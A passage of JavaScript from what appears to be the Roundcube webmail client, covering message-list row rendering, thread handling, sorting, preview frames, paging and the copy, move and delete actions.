          +(toolbar ? ',toolbar=yes,menubar=yes,status=yes' : ',toolbar=no,menubar=no,status=no'));
    }

    // detect popup blocker (#1489618)
    // don't care this might not work with all browsers
    if (!extwin || extwin.closed) {
      this.display_message('windowopenerror', 'warning');
      return;
    }

    // write loading... message to empty windows
    if (!url && extwin.document) {
      extwin.document.write('<html><body>' + this.get_label('loading') + '</body></html>');
    }

    // allow plugins to grab the window reference (#1489413)
    this.triggerEvent('openwindow', { url:url, handle:extwin });

    // focus window, delayed to bring to front
    setTimeout(function() { extwin && extwin.focus(); }, 10);

    return extwin;
  };


  /*********************************************************/
  /*********     (message) list functionality      *********/
  /*********************************************************/

  this.init_message_row = function(row)
  {
    var i, fn = {}, uid = row.uid,
      status_icon = (this.env.status_col != null ? 'status' : 'msg') + 'icn' + row.id;

    if (uid && this.env.messages[uid])
      $.extend(row, this.env.messages[uid]);

    // set eventhandler to status icon
    if (row.icon = document.getElementById(status_icon)) {
      fn.icon = function(e) { ref.command('toggle_status', uid); };
    }

    // save message icon position too
    if (this.env.status_col != null)
      row.msgicon = document.getElementById('msgicn'+row.id);
    else
      row.msgicon = row.icon;

    // set eventhandler to flag icon
    if (this.env.flagged_col != null && (row.flagicon = document.getElementById('flagicn'+row.id))) {
      fn.flagicon = function(e) { ref.command('toggle_flag', uid); };
    }

    // set event handler to thread expand/collapse icon
    if (!row.depth && row.has_children && (row.expando = document.getElementById('rcmexpando'+row.id))) {
      fn.expando = function(e) { ref.expand_message_row(e, uid); };
    }

    // attach events
    $.each(fn, function(i, f) {
      row[i].onclick = function(e) { f(e); return rcube_event.cancel(e); };
      if (bw.touch && row[i].addEventListener) {
        row[i].addEventListener('touchend', function(e) {
          if (e.changedTouches.length == 1) {
            f(e);
            return rcube_event.cancel(e);
          }
        }, false);
      }
    });

    this.triggerEvent('insertrow', { uid:uid, row:row });
  };

  // create a table row in the message list
  this.add_message_row = function(uid, cols, flags, attop)
  {
    if (!this.gui_objects.messagelist || !this.message_list)
      return false;

    // Prevent from adding messages from different folder (#1487752)
    if (flags.mbox != this.env.mailbox && !flags.skip_mbox_check)
      return false;

    // When deleting messages fast it may happen that the same message
    // from the next page could be added many times, we prevent this here
    if (this.message_list.rows[uid])
      return false;

    if (!this.env.messages[uid])
      this.env.messages[uid] = {};

    // merge flags over local message object
    $.extend(this.env.messages[uid], {
      deleted: flags.deleted?1:0,
      replied: flags.answered?1:0,
      unread: !flags.seen?1:0,
      forwarded: flags.forwarded?1:0,
      flagged: flags.flagged?1:0,
      has_children: flags.has_children?1:0,
      depth: flags.depth?flags.depth:0,
      unread_children: flags.unread_children || 0,
      flagged_children: flags.flagged_children || 0,
      parent_uid: flags.parent_uid || 0,
      selected: this.select_all_mode || this.message_list.in_selection(uid),
      ml: flags.ml?1:0,
      ctype: flags.ctype,
      mbox: flags.mbox,
      // flags from plugins
      flags: flags.extra_flags
    });

    var c, n, col, html, css_class, label, status_class = '', status_label = '',
      tree = '', expando = '',
      list = this.message_list,
      rows = list.rows,
      message = this.env.messages[uid],
      msg_id = this.html_identifier(uid,true),
      row_class = 'message'
        + (!flags.seen ? ' unread' : '')
        + (flags.deleted ? ' deleted' : '')
        + (flags.flagged ? ' flagged' : '')
        + (message.selected ? ' selected' : ''),
      row = { cols:[], style:{}, id:'rcmrow'+msg_id, uid:uid },
      layout = this.env.msglist_layout,
      listcols = this.env.msglist_cols;

    // widescreen layout does not have a separate status column
    if (layout == 'widescreen')
      this.env.status_col = null;
    else if ((n = $.inArray('status', listcols)) >= 0)
      this.env.status_col = n;

    // message status icons
    css_class = 'msgicon';
    if (this.env.status_col === null) {
      css_class += ' status';
      if (flags.deleted) {
        status_class += ' deleted';
        status_label += this.get_label('deleted') + ' ';
      }
      else if (!flags.seen) {
        status_class += ' unread';
        status_label += this.get_label('unread') + ' ';
      }
      else if (flags.unread_children > 0) {
        status_class += ' unreadchildren';
      }
    }
    if (flags.answered) {
      status_class += ' replied';
      status_label += this.get_label('replied') + ' ';
    }
    if (flags.forwarded) {
      status_class += ' forwarded';
      status_label += this.get_label('forwarded') + ' ';
    }

    // update selection
    if (message.selected && !list.in_selection(uid))
      list.selection.push(uid);

    // threads
    if (this.env.threading) {
      if (message.depth) {
        // This assumes that div width is hardcoded to 15px,
        tree += '<span id="rcmtab' + msg_id + '" class="branch" style="width:' + (message.depth * 15) + 'px;">&nbsp;&nbsp;</span>';

        if ((rows[message.parent_uid] && rows[message.parent_uid].expanded === false)
          || ((this.env.autoexpand_threads == 0 || this.env.autoexpand_threads == 2) &&
            (!rows[message.parent_uid] || !rows[message.parent_uid].expanded))
        ) {
          row.style.display = 'none';
          message.expanded = false;
        }
        else
          message.expanded = true;

        row_class += ' thread expanded';
      }
      else if (message.has_children) {
        if (message.expanded === undefined && (this.env.autoexpand_threads == 1 || (this.env.autoexpand_threads == 2 && message.unread_children))) {
          message.expanded = true;
        }

        expando = '<div id="rcmexpando' + row.id + '" class="' + (message.expanded ? 'expanded' : 'collapsed') + '">&nbsp;&nbsp;</div>';
        row_class += ' thread' + (message.expanded ? ' expanded' : '');
      }

      if (flags.unread_children && flags.seen && !message.expanded)
        row_class += ' unroot';

      if (flags.flagged_children && !message.expanded)
        row_class += ' flaggedroot';
    }

    tree += '<span id="msgicn'+row.id+'" class="'+css_class+status_class+'" title="'+status_label+'"></span>';
    row.className = row_class;

    // build subject link
    if (cols.subject) {
      var action  = flags.mbox == this.env.drafts_mailbox ? 'compose' : 'show',
        uid_param = flags.mbox == this.env.drafts_mailbox ? '_draft_uid' : '_uid',
        query = { _mbox: flags.mbox };
      query[uid_param] = uid;
      cols.subject = '<a href="' + this.url(action, query) + '" onclick="return rcube_event.keyboard_only(event)"' +
        ' onmouseover="rcube_webmail.long_subject_title(this,'+(message.depth+1)+')" tabindex="-1"><span>'+cols.subject+'</span></a>';
    }

    // add each submitted col
    for (n in listcols) {
      c = listcols[n];
      col = {className: String(c).toLowerCase(), events:{}};

      if (this.env.coltypes[c] && this.env.coltypes[c].hidden) {
        col.className += ' hidden';
      }

      if (c == 'flag') {
        css_class = (flags.flagged ? 'flagged' : 'unflagged');
        label = this.get_label(css_class);
        html = '<span id="flagicn'+row.id+'" class="'+css_class+'" title="'+label+'"></span>';
      }
      else if (c == 'attachment') {
        label = this.get_label('withattachment');
        if (flags.attachmentClass)
          html = '<span class="'+flags.attachmentClass+'" title="'+label+'"></span>';
        else if (flags.ctype == 'multipart/report')
          html = '<span class="report"></span>';
        else if (flags.ctype == 'multipart/encrypted' || flags.ctype == 'application/pkcs7-mime')
          html = '<span class="encrypted"></span>';
        else if (flags.hasattachment || (!flags.hasnoattachment && /application\/|multipart\/(m|signed)/.test(flags.ctype)))
          html = '<span class="attachment" title="'+label+'"></span>';
        else
          html = '&nbsp;';
      }
      else if (c == 'status') {
        label = '';
        if (flags.deleted) {
          css_class = 'deleted';
          label = this.get_label('deleted');
        }
        else if (!flags.seen) {
          css_class = 'unread';
          label = this.get_label('unread');
        }
        else if (flags.unread_children > 0) {
          css_class = 'unreadchildren';
        }
        else
          css_class = 'msgicon';
        html = '<span id="statusicn'+row.id+'" class="'+css_class+status_class+'" title="'+label+'"></span>';
      }
      else if (c == 'threads')
        html = expando;
      else if (c == 'subject') {
        html = tree + cols[c];
      }
      else if (c == 'priority') {
        if (flags.prio > 0 && flags.prio < 6) {
          label = this.get_label('priority') + ' ' + flags.prio;
          html = '<span class="prio'+flags.prio+'" title="'+label+'"></span>';
        }
        else
          html = '&nbsp;';
      }
      else if (c == 'folder') {
        html = '<span onmouseover="rcube_webmail.long_subject_title(this)">' + cols[c] + '<span>';
      }
      else
        html = cols[c];

      col.innerHTML = html;
      row.cols.push(col);
    }

    if (layout == 'widescreen')
      row = this.widescreen_message_row(row, uid, message);

    list.insert_row(row, attop);

    // remove 'old' row
    if (attop && this.env.pagesize && list.rowcount > this.env.pagesize) {
      var uid = list.get_last_row();
      list.remove_row(uid);
      list.clear_selection(uid);
    }
  };

  // Converts standard message list record into "widescreen" (3-column) layout
  this.widescreen_message_row = function(row, uid, message)
  {
    var domrow = document.createElement('tr');

    domrow.id = row.id;
    domrow.uid = row.uid;
    domrow.className = row.className;
    if (row.style) $.extend(domrow.style, row.style);

    $.each(this.env.widescreen_list_template, function() {
      if (!ref.env.threading && this.className == 'threads')
        return;

      var i, n, e, col, domcol,
        domcell = document.createElement('td');

      if (this.className) domcell.className = this.className;

      for (i=0; this.cells && i < this.cells.length; i++) {
        for (n=0; row.cols && n < row.cols.length; n++) {
          if (this.cells[i] == row.cols[n].className) {
            col = row.cols[n];
            domcol = document.createElement('span');
            domcol.className = this.cells[i];
            if (this.className == 'subject' && domcol.className != 'subject')
              domcol.className += ' skip-on-drag';
            if (col.innerHTML)
              domcol.innerHTML = col.innerHTML;
            domcell.appendChild(domcol);
            break;
          }
        }
      }

      domrow.appendChild(domcell);
    });

    if (this.env.threading && message.depth) {
      n = this.calculate_thread_padding(message.depth);
      $('td.subject', domrow).attr('style', 'padding-left:' + n + ' !important');
      $('span.branch', domrow).remove();
    }

    return domrow;
  };

  this.calculate_thread_padding = function(level)
  {
     ref.env.thread_padding.match(/^([0-9.]+)(.+)/);
     return (Math.min(6, level) * parseFloat(RegExp.$1)) + RegExp.$2;
  };

  this.set_list_sorting = function(sort_col, sort_order)
  {
    var sort_old = this.env.sort_col == 'arrival' ? 'date' : this.env.sort_col,
      sort_new = sort_col == 'arrival' ? 'date' : sort_col;

    // set table header class
    $('#rcm' + sort_old).removeClass('sorted' + this.env.sort_order.toUpperCase());
    if (sort_new)
      $('#rcm' + sort_new).addClass('sorted' + sort_order);

    // if sorting by 'arrival' is selected, click on date column should not switch to 'date'
    $('#rcmdate > a').prop('rel', sort_col == 'arrival' ? 'arrival' : 'date');

    this.env.sort_col = sort_col;
    this.env.sort_order = sort_order;
  };

  this.set_list_options = function(cols, sort_col, sort_order, threads, layout)
  {
    var update, post_data = {};

    if (sort_col === undefined)
      sort_col = this.env.sort_col;
    if (!sort_order)
      sort_order = this.env.sort_order;

    if (this.env.sort_col != sort_col || this.env.sort_order != sort_order) {
      update = 1;
      this.set_list_sorting(sort_col, sort_order);
    }

    if (this.env.threading != threads) {
      update = 1;
      post_data._threads = threads;
    }

    if (layout && this.env.layout != layout) {
      this.triggerEvent('layout-change', {old_layout: this.env.layout, new_layout: layout});
      update = 1;
      this.env.layout = post_data._layout = layout;

      // update message list setup
      this.msglist_setup(this.env.layout);
    }

    if (cols && cols.length) {
      // make sure new columns are added at the end of the list
      var i, idx, name, newcols = [], oldcols = this.env.listcols;

      for (i=0; i<oldcols.length; i++) {
        name = oldcols[i];
        idx = $.inArray(name, cols);
        if (idx != -1) {
          newcols.push(name);
          delete cols[idx];
        }
      }
      for (i=0; i<cols.length; i++)
        if (cols[i])
          newcols.push(cols[i]);

      if (newcols.join() != oldcols.join()) {
        update = 1;
        post_data._cols = newcols.join(',');
      }
    }

    if (update)
      this.list_mailbox('', '', sort_col+'_'+sort_order, post_data);
  };

  // when user double-clicks on a row
  this.show_message = function(id, safe, preview)
  {
    if (!id)
      return;

    var win, target = window,
      url = this.params_from_uid(id, {_caps: this.browser_capabilities()});

    if (preview && (win = this.get_frame_window(this.env.contentframe))) {
      target = win;
      url._framed = 1;
    }

    if (safe)
      url._safe = 1;

    // also send search request to get the right messages
    if (this.env.search_request)
      url._search = this.env.search_request;

    if (this.env.extwin)
      url._extwin = 1;

    url = this.url(preview ? 'preview': 'show', url);

    if (preview)
      this.preview_id = id;

    if (preview && String(target.location.href).indexOf(url) >= 0) {
      this.show_contentframe(true);
    }
    else {
      if (!preview && this.env.message_extwin && !this.env.extwin)
        this.open_window(url, true);
      else {
        // "Allow remote resources" reloads the page, we remove this request from the history,
        // so Back button works as expected, i.e. ignores the reload request (#6620)
        if (safe && document.referrer && window.history.replaceState)
          window.history.replaceState({}, '', document.referrer);

        this.location_href(url, target, true);
      }
    }
  };

  // update message status and unread counter after marking a message as read
  this.set_unread_message = function(id, folder)
  {
    var self = this;

    // find window with messages list
    if (!self.message_list)
      self = self.opener();

    if (!self && window.parent)
      self = parent.rcmail;

    if (!self || !self.message_list)
      return;

    // this may fail in multifolder mode
    if (self.set_message(id, 'unread', false) === false)
      self.set_message(id + '-' + folder, 'unread', false);

    if (self.env.unread_counts[folder] > 0) {
      self.env.unread_counts[folder] -= 1;
      self.set_unread_count(folder, self.env.unread_counts[folder], folder == 'INBOX' && !self.is_multifolder_listing());
    }
  };

  this.show_contentframe = function(show)
  {
    var frame, win, name = this.env.contentframe;

    if (frame = this.get_frame_element(name)) {
      if (!show && (win = this.get_frame_window(name))) {
        if (win.location.href.indexOf(this.env.blankpage) < 0) {
          if (win.stop)
            win.stop();
          else // IE
            win.document.execCommand('Stop');

          win.location.href = this.env.blankpage;
        }
      }
      else if (!bw.safari && !bw.konq)
        $(frame)[show ? 'show' : 'hide']();
    }

    if (!show) {
      this.unlock_frame();
      delete this.preview_id;
    }
  };

  this.get_frame_element = function(id)
  {
    var frame;

    if (id && (frame = document.getElementById(id)))
      return frame;
  };

  this.get_frame_window = function(id)
  {
    var frame = this.get_frame_element(id);

    if (frame && frame.name && window.frames)
      return window.frames[frame.name];
  };

  this.lock_frame = function(target)
  {
    var rc = this.is_framed() ? parent.rcmail : this;

    if (!rc.env.frame_lock)
      rc.env.frame_lock = rc.set_busy(true, 'loading');

    try {
      if (target.frameElement)
        $(target.frameElement).on('load.lock', function(e) {
          rc.unlock_frame();
          $(this).off('load.lock');
        });
    } catch(e) { /* Ignore permission denied error */ };
  };

  this.unlock_frame = function()
  {
    if (this.env.frame_lock) {
      this.set_busy(false, null, this.env.frame_lock);
      this.env.frame_lock = null;
    }
  };

  // list a specific page
  this.list_page = function(page)
  {
    if (page == 'next')
      page = this.env.current_page+1;
    else if (page == 'last')
      page = this.env.pagecount;
    else if (page == 'prev' && this.env.current_page > 1)
      page = this.env.current_page-1;
    else if (page == 'first' && this.env.current_page > 1)
      page = 1;

    if (page > 0 && page <= this.env.pagecount) {
      this.env.current_page = page;

      if (this.task == 'addressbook' || this.contact_list)
        this.list_contacts(this.env.source, this.env.group, page);
      else if (this.task == 'mail')
        this.list_mailbox(this.env.mailbox, page);
    }
  };

  // sends request to check for recent messages
  this.checkmail = function()
  {
    var lock = this.set_busy(true, 'checkingmail'),
      params = this.check_recent_params();

    this.http_post('check-recent', params, lock);
  };

  // list messages of a specific mailbox using filter
  this.filter_mailbox = function(filter)
  {
    if (this.filter_disabled)
      return;

    var params = this.search_params(false, filter),
      lock = this.set_busy(true, 'searching');

    this.clear_message_list();

    // reset vars
    this.env.current_page = 1;
    this.env.search_filter = filter;
    this.http_request('search', params, lock);
    this.update_state({_mbox: params._mbox, _filter: filter, _scope: params._scope});
  };

  // reload the current message listing
  this.refresh_list = function()
  {
    this.list_mailbox(this.env.mailbox, this.env.current_page || 1, null, { _clear:1 }, true);
    if (this.message_list)
      this.message_list.clear_selection();
  };

  // list messages of a specific mailbox
  this.list_mailbox = function(mbox, page, sort, url, update_only)
  {
    var win, target = window;

    if (typeof url != 'object')
      url = {};

    if (!mbox)
      mbox = this.env.mailbox ? this.env.mailbox : 'INBOX';

    // add sort to url if set
    if (sort)
      url._sort = sort;

    // folder change, reset page, search scope, etc.
    if (this.env.mailbox != mbox) {
      page = 1;
      this.env.current_page = page;
      this.env.search_scope = 'base';
      this.select_all_mode = false;
      this.reset_search_filter();
    }
    // also send search request to get the right messages
    else if (this.env.search_request)
      url._search = this.env.search_request;

    if (!update_only) {
      // unselect selected messages and clear the list and message data
      this.clear_message_list();

      if (mbox != this.env.mailbox || (mbox == this.env.mailbox && !page && !sort))
        url._refresh = 1;

      this.select_folder(mbox, '', true);
      this.unmark_folder(mbox, 'recent', '', true);
      this.env.mailbox = mbox;
    }

    // load message list remotely
    if (this.gui_objects.messagelist) {
      this.list_mailbox_remote(mbox, page, url);
      return;
    }

    if (win = this.get_frame_window(this.env.contentframe)) {
      target = win;
      url._framed = 1;
    }

    if (this.env.uid)
      url._uid = this.env.uid;

    if (page)
      url._page = page;

    // load message list to target frame/window
    if (mbox) {
      url._mbox = mbox;
      this.set_busy(true, 'loading');
      this.location_href(url, target);
    }
  };

  this.clear_message_list = function()
  {
    this.env.messages = {};

    this.show_contentframe(false);
    if (this.message_list)
      this.message_list.clear(true);
  };

  // send remote request to load message list
  this.list_mailbox_remote = function(mbox, page, url)
  {
    var lock = this.set_busy(true, 'loading');

    if (typeof url != 'object')
      url = {};

    url._layout = this.env.layout
    url._mbox = mbox;
    url._page = page;

    this.http_request('list', url, lock);
    this.update_state({ _mbox: mbox, _page: (page && page > 1 ? page : null) });
  };

  // removes messages that doesn't exists from list selection array
  this.update_selection = function()
  {
    var list = this.message_list,
      selected = list.selection,
      rows = list.rows,
      i, selection = [];

    for (i in selected)
      if (rows[selected[i]])
        selection.push(selected[i]);

    list.selection = selection;

    // reset preview frame, if currently previewed message is not selected (has been removed)
    try {
      var win = this.get_frame_window(this.env.contentframe),
        id = win.rcmail.env.uid;

      if (id && !list.in_selection(id))
        this.show_contentframe(false);
    }
    catch (e) {};
  };

  // expand all threads with unread children
  this.expand_unread = function()
  {
    var r, tbody = this.message_list.tbody,
      new_row = tbody.firstChild;

    while (new_row) {
      if (new_row.nodeType == 1 && (r = this.message_list.rows[new_row.uid]) && r.unread_children) {
        this.message_list.expand_all(r);
        this.set_unread_children(r.uid);
      }

      new_row = new_row.nextSibling;
    }

    return false;
  };

  // thread expanding/collapsing handler
  this.expand_message_row = function(e, uid)
  {
    var row = this.message_list.rows[uid];

    // handle unread_children/flagged_children mark
    row.expanded = !row.expanded;
    this.set_unread_children(uid);
    this.set_flagged_children(uid);
    row.expanded = !row.expanded;

    this.message_list.expand_row(e, uid);
  };

  // message list expanding
  this.expand_threads = function()
  {
    if (!this.env.threading || !this.env.autoexpand_threads || !this.message_list)
      return;

    switch (this.env.autoexpand_threads) {
      case 2: this.expand_unread(); break;
      case 1: this.message_list.expand_all(); break;
    }
  };

  // Initializes threads indicators/expanders after list update
  this.init_threads = function(roots, mbox)
  {
    // #1487752
    if (mbox && mbox != this.env.mailbox)
      return false;

    for (var n=0, len=roots.length; n<len; n++)
      this.add_tree_icons(roots[n]);
    this.expand_threads();
  };

  // adds threads tree icons to the list (or specified thread)
  this.add_tree_icons = function(root)
  {
    var i, l, r, n, len, pos, tmp = [], uid = [],
      row, rows = this.message_list.rows;

    if (root)
      row = rows[root] ? rows[root].obj : null;
    else
      row = this.message_list.tbody.firstChild;

    while (row) {
      if (row.nodeType == 1 && (r = rows[row.uid])) {
        if (r.depth) {
          for (i=tmp.length-1; i>=0; i--) {
            len = tmp[i].length;
            if (len > r.depth) {
              pos = len - r.depth;
              if (!(tmp[i][pos] & 2))
                tmp[i][pos] = tmp[i][pos] ? tmp[i][pos]+2 : 2;
            }
            else if (len == r.depth) {
              if (!(tmp[i][0] & 2))
                tmp[i][0] += 2;
            }
            if (r.depth > len)
              break;
          }

          tmp.push(new Array(r.depth));
          tmp[tmp.length-1][0] = 1;
          uid.push(r.uid);
        }
        else {
          if (tmp.length) {
            for (i in tmp) {
              this.set_tree_icons(uid[i], tmp[i]);
            }
            tmp = [];
            uid = [];
          }
          if (root && row != rows[root].obj)
            break;
        }
      }
      row = row.nextSibling;
    }

    if (tmp.length) {
      for (i in tmp) {
        this.set_tree_icons(uid[i], tmp[i]);
      }
    }
  };

  // adds tree icons to specified message row
  this.set_tree_icons = function(uid, tree)
  {
    var i, divs = [], html = '', len = tree.length;

    for (i=0; i<len; i++) {
      if (tree[i] > 2)
        divs.push({'class': 'l3', width: 15});
      else if (tree[i] > 1)
        divs.push({'class': 'l2', width: 15});
      else if (tree[i] > 0)
        divs.push({'class': 'l1', width: 15});
      // separator div
      else if (divs.length && !divs[divs.length-1]['class'])
        divs[divs.length-1].width += 15;
      else
        divs.push({'class': null, width: 15});
    }

    for (i=divs.length-1; i>=0; i--) {
      if (divs[i]['class'])
        html += '<div class="tree '+divs[i]['class']+'" />';
      else
        html += '<div style="width:'+divs[i].width+'px" />';
    }

    if (html)
      $('#rcmtab'+this.html_identifier(uid, true)).html(html);
  };

  // update parent in a thread
  this.update_thread_root = function(uid, flag)
  {
    if (!this.env.threading)
      return;

    var root = this.message_list.find_root(uid);

    if (uid == root)
      return;

    var p = this.message_list.rows[root];

    if (flag == 'read' && p.unread_children) {
      p.unread_children--;
    }
    else if (flag == 'unread' && p.has_children) {
      // unread_children may be undefined
      p.unread_children = (p.unread_children || 0) + 1;
    }
    else if (flag == 'unflagged' && p.flagged_children) {
      p.flagged_children--;
    }
    else if (flag == 'flagged' && p.has_children) {
      p.flagged_children = (p.flagged_children || 0) + 1;
    }
    else {
      return;
    }

    this.set_message_icon(root);
    this.set_unread_children(root);
    this.set_flagged_children(root);
  };

  // update thread indicators for all messages in a thread below the specified message
  // return number of removed/added root level messages
  this.update_thread = function(uid)
  {
    if (!this.env.threading || !this.message_list.rows[uid])
      return 0;

    var r, parent, count = 0,
      list = this.message_list,
      rows = list.rows,
      row = rows[uid],
      depth = rows[uid].depth,
      roots = [];

    if (!row.depth) // root message: decrease roots count
      count--;

    // update unread_children for thread root
    if (row.depth && row.unread) {
      parent = list.find_root(uid);
      rows[parent].unread_children--;
      this.set_unread_children(parent);
    }

    // update unread_children for thread root
    if (row.depth && row.flagged) {
      parent = list.find_root(uid);
      rows[parent].flagged_children--;
      this.set_flagged_children(parent);
    }

    parent = row.parent_uid;

    // children
    row = row.obj.nextSibling;
    while (row) {
      if (row.nodeType == 1 && (r = rows[row.uid])) {
        if (!r.depth || r.depth <= depth)
          break;

        r.depth--; // move left
        // reset width and clear the content of a tab, icons will be added later
        $('#rcmtab'+r.id).width(r.depth * 15).html('');
        if (!r.depth) { // a new root
          count++; // increase roots count
          r.parent_uid = 0;
          if (r.has_children) {
            // replace 'leaf' with 'collapsed'
            $('#' + r.id + ' .leaf').first()
              .attr('id', 'rcmexpando' + r.id)
              .attr('class', (r.obj.style.display != 'none' ? 'expanded' : 'collapsed'))
              .mousedown({uid: r.uid}, function(e) {
                return ref.expand_message_row(e, e.data.uid);
              });

            r.unread_children = 0;
            roots.push(r);
          }
          // show if it was hidden
          if (r.obj.style.display == 'none')
            $(r.obj).show();
        }
        else {
          if (r.depth == depth)
            r.parent_uid = parent;
          if (r.unread && roots.length)
            roots[roots.length-1].unread_children++;
        }
      }
      row = row.nextSibling;
    }

    // update unread_children/flagged_children for roots
    for (r=0; r<roots.length; r++) {
      this.set_unread_children(roots[r].uid);
      this.set_flagged_children(roots[r].uid);
    }

    return count;
  };

  this.delete_excessive_thread_rows = function()
  {
    var rows = this.message_list.rows,
      tbody = this.message_list.tbody,
      row = tbody.firstChild,
      cnt = this.env.pagesize + 1;

    while (row) {
      if (row.nodeType == 1 && (r = rows[row.uid])) {
        if (!r.depth && cnt)
          cnt--;

        if (!cnt)
          this.message_list.remove_row(row.uid);
      }
      row = row.nextSibling;
    }
  };

  // set message icon
  this.set_message_icon = function(uid)
  {
    var css_class, label = '',
      row = this.message_list.rows[uid];

    if (!row)
      return false;

    if (row.icon) {
      css_class = 'msgicon';
      if (row.deleted) {
        css_class += ' deleted';
        label += this.get_label('deleted') + ' ';
      }
      else if (row.unread) {
        css_class += ' unread';
        label += this.get_label('unread') + ' ';
      }
      else if (row.unread_children)
        css_class += ' unreadchildren';
      if (row.msgicon == row.icon) {
        if (row.replied) {
          css_class += ' replied';
          label += this.get_label('replied') + ' ';
        }
        if (row.forwarded) {
          css_class += ' forwarded';
          label += this.get_label('forwarded') + ' ';
        }
        css_class += ' status';
      }

      $(row.icon).attr({'class': css_class, title: label});
    }

    if (row.msgicon && row.msgicon != row.icon) {
      label = '';
      css_class = 'msgicon';
      if (!row.unread && row.unread_children) {
        css_class += ' unreadchildren';
      }
      if (row.replied) {
        css_class += ' replied';
        label += this.get_label('replied') + ' ';
      }
      if (row.forwarded) {
        css_class += ' forwarded';
        label += this.get_label('forwarded') + ' ';
      }

      $(row.msgicon).attr({'class': css_class, title: label});
    }

    if (row.flagicon) {
      css_class = (row.flagged ? 'flagged' : 'unflagged');
      label = this.get_label(css_class);
      $(row.flagicon).attr('class', css_class)
        .attr({'aria-label': label, title: label});
    }
  };

  // set message status
  this.set_message_status = function(uid, flag, status)
  {
    var row = this.message_list.rows[uid];

    if (!row)
      return false;

    if (flag == 'unread') {
      if (row.unread != status)
        this.update_thread_root(uid, status ? 'unread' : 'read');
    }
    else if (flag == 'flagged') {
      this.update_thread_root(uid, status ? 'flagged' : 'unflagged');
    }

    if ($.inArray(flag, ['unread', 'deleted', 'replied', 'forwarded', 'flagged']) > -1)
      row[flag] = status;
  };

  // set message row status, class and icon
  this.set_message = function(uid, flag, status)
  {
    var row = this.message_list && this.message_list.rows[uid];

    if (!row)
      return false;

    if (flag)
      this.set_message_status(uid, flag, status);

    if ($.inArray(flag, ['unread', 'deleted', 'flagged']) > -1)
      $(row.obj)[row[flag] ? 'addClass' : 'removeClass'](flag);

    this.set_unread_children(uid);
    this.set_message_icon(uid);
  };

  // sets unroot (unread_children) class of parent row
  this.set_unread_children = function(uid)
  {
    var row = this.message_list.rows[uid];

    if (row.parent_uid)
      return;

    var enable = !row.unread && row.unread_children && !row.expanded;
    $(row.obj)[enable ? 'addClass' : 'removeClass']('unroot');
  };

  // sets flaggedroot (flagged_children) class of parent row
  this.set_flagged_children = function(uid)
  {
    var row = this.message_list.rows[uid];

    if (row.parent_uid)
      return;

    var enable = row.flagged_children && !row.expanded;
    $(row.obj)[enable ? 'addClass' : 'removeClass']('flaggedroot');
  };

  // copy selected messages to the specified mailbox
  this.copy_messages = function(mbox, event, uids)
  {
    if (mbox && typeof mbox === 'object') {
      if (mbox.uids) uids = mbox.uids;
      mbox = mbox.id;
    }
    else if (!mbox) {
      uids = this.env.uid ? [this.env.uid] : this.message_list.get_selection();
      return this.folder_selector(event, function(folder, obj) {
        ref.command('copy', {id: folder, uids: uids}, obj, event, true);
      });
    }

    // exit if current or no mailbox specified
    if (!mbox || mbox == this.env.mailbox)
      return;

    var post_data = this.selection_post_data({_target_mbox: mbox, _uid: uids});

    // exit if selection is empty
    if (!post_data._uid)
      return;

    // send request to server
    this.http_post('copy', post_data, this.display_message('copyingmessage', 'loading'));
  };

  // move selected messages to the specified mailbox
  this.move_messages = function(mbox, event, uids)
  {
    if (mbox && typeof mbox === 'object') {
      if (mbox.uids) uids = mbox.uids;
      mbox = mbox.id;
    }
    else if (!mbox) {
      uids = this.env.uid ? [this.env.uid] : this.message_list.get_selection();
      return this.folder_selector(event, function(folder, obj) {
        ref.command('move', {id: folder, uids: uids}, obj, event, true);
      });
    }

    // exit if current or no mailbox specified
    if (!mbox || (mbox == this.env.mailbox && !this.is_multifolder_listing()))
      return;

    var lock = false, post_data = this.selection_post_data({_target_mbox: mbox, _uid: uids});

    // exit if selection is empty
    if (!post_data._uid)
      return;

    // show wait message
    if (this.env.action == 'show')
      lock = this.set_busy(true, 'movingmessage');

    // Hide message command buttons until a message is selected
    this.enable_command(this.env.message_commands, false);

    this.with_selected_messages('move', post_data, lock);

    if (this.env.action != 'show')
      this.show_contentframe(false);
  };

  // delete selected messages from the current mailbox
  this.delete_messages = function(event)
  {
    var list = this.message_list, trash = this.env.trash_mailbox;

    // if config is set to flag for deletion
    if (this.env.flag_for_deletion) {
      this.mark_message('delete');
      return false;
    }
    // if there isn't a defined trash mailbox or we are in it
    else if (!trash || this.env.mailbox == trash)
      this.permanently_remove_messages();
    // we're in Junk folder and delete_junk is enabled
    else if (this.env.delete_junk && this.env.junk_mailbox && this.env.mailbox == this.env.junk_mailbox)
      this.permanently_remove_messages();
    // if there is a trash mailbox defined and we're not currently in it
    else {
      // if shift was pressed delete it immediately
      if ((list && list.modkey == SHIFT_KEY) || (event && rcube_event.get_modifier(event) == SHIFT_KEY)) {
        this.confirm_dialog(this.get_label('deletemessagesconfirm'), 'delete', function() {
            ref.permanently_remove_messages();
          });
      }
      else
        this.move_messages(trash);
    }

    return true;
  };

  // delete the selected messages permanently
  this.permanently_remove_messages = function()
  {
    var post_data = this.selection_post_data();

    // exit if selection is empty
    if (!post_data._uid)
      return;

    this.with_selected_messages('delete', post_data);
    this.show_contentframe(false);
  };

  // Send a specific move/delete request with UIDs of all selected messages
  this.with_selected_messages = function(action, post_data, lock, http_action)
  {
    var count = 0, msg,
      remove = (action == 'delete' || !this.is_multifolder_listing());

    // update the list (remove rows, clear selection)
    if (this.message_list) {
      var n, len, id, root, roots = [],
        selection = post_data._uid,
        display_next = this.check_display_next();

      if (selection === '*')
        selection = this.message_list.get_selection();
      else if (typeof selection == 'string')
        selection = selection.split(',');

      for (n=0, len=selection.length; n<len; n++) {
        id = selection[n];

        if (this.env.threading) {
          count += this.update_thread(id);
          root = this.message_list.find_root(id);
          if (root != id && $.inArray(root, roots) < 0) {
            roots.push(root);
          }
        }

        if (remove)
          this.message_list.remove_row(id, display_next && n == selection.length-1);
      }

      // make sure there are no selected rows
      if (!display_next && remove)
        this.message_list.clear_selection();

      // update thread tree icons
      for (n=0, len=roots.length; n<len; n++) {
        this.add_tree_icons(roots[n]);
      }
    }

    if (count < 0)
      post_data._count = (count*-1);
    // remove threads from the end of the list
    else if (count > 0 && remove)
      this.delete_excessive_thread_rows();

    if (!remove)
      post_data._refresh = 1;

    if (!lock) {
      msg = action == 'move' ? 'movingmessage' : 'deletingmessage';
      lock = this.display_message(msg, 'loading');
    }

    // send request to server
    this.http_post(http_action || action, post_data, lock);
  };

  // build post data for message delete/move/copy/flag requests
  this.selection_post_data = function(data)
  {
    if (typeof(data) != 'object')
      data = {};

    if (!data._uid)
